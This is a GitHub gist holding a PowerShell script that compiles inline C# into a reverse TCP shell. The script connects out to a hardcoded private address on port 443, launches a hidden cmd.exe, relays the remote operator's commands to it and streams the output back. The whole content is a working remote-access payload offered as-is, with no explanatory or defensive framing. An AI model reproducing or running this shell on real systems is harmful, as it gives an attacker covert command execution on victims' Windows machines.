Last active
September 30, 2018 14:51
-
-
Save adon90/842912ff6c82cf7a8dbc72748e439e10 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add-Type -TypeDefinition @" | |
using System; | |
using System.Text; | |
using System.IO; | |
using System.Diagnostics; | |
using System.Net.Sockets; | |
public class ReverseTCP | |
{ | |
static StreamWriter streamWriter; | |
public static void Main(string[] args) | |
{ | |
using (TcpClient client = new TcpClient(args[0], int.Parse(args[1]))) | |
{ | |
using (Stream stream = client.GetStream()) | |
{ | |
using (StreamReader rdr = new StreamReader(stream)) | |
{ | |
streamWriter = new StreamWriter(stream); | |
StringBuilder strInput = new StringBuilder(); | |
Process p = new Process(); | |
p.StartInfo.FileName = "cmd.exe"; | |
p.StartInfo.CreateNoWindow = true; | |
p.StartInfo.UseShellExecute = false; | |
p.StartInfo.RedirectStandardOutput = true; | |
p.StartInfo.RedirectStandardInput = true; | |
p.StartInfo.RedirectStandardError = true; | |
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); | |
p.Start(); | |
p.BeginOutputReadLine(); | |
while (true) | |
{ | |
strInput.Append(rdr.ReadLine()); | |
p.StandardInput.WriteLine(strInput); | |
strInput.Remove(0, strInput.Length); | |
} | |
} | |
} | |
} | |
} | |
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | |
{ | |
StringBuilder strOutput = new StringBuilder(); | |
if (!String.IsNullOrEmpty(outLine.Data)) | |
{ | |
strOutput.Append(outLine.Data); | |
streamWriter.WriteLine(strOutput); | |
streamWriter.Flush(); | |
} | |
} | |
} | |
"@ | |
[ReverseTCP]::Main(("192.168.203.128", 443)) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment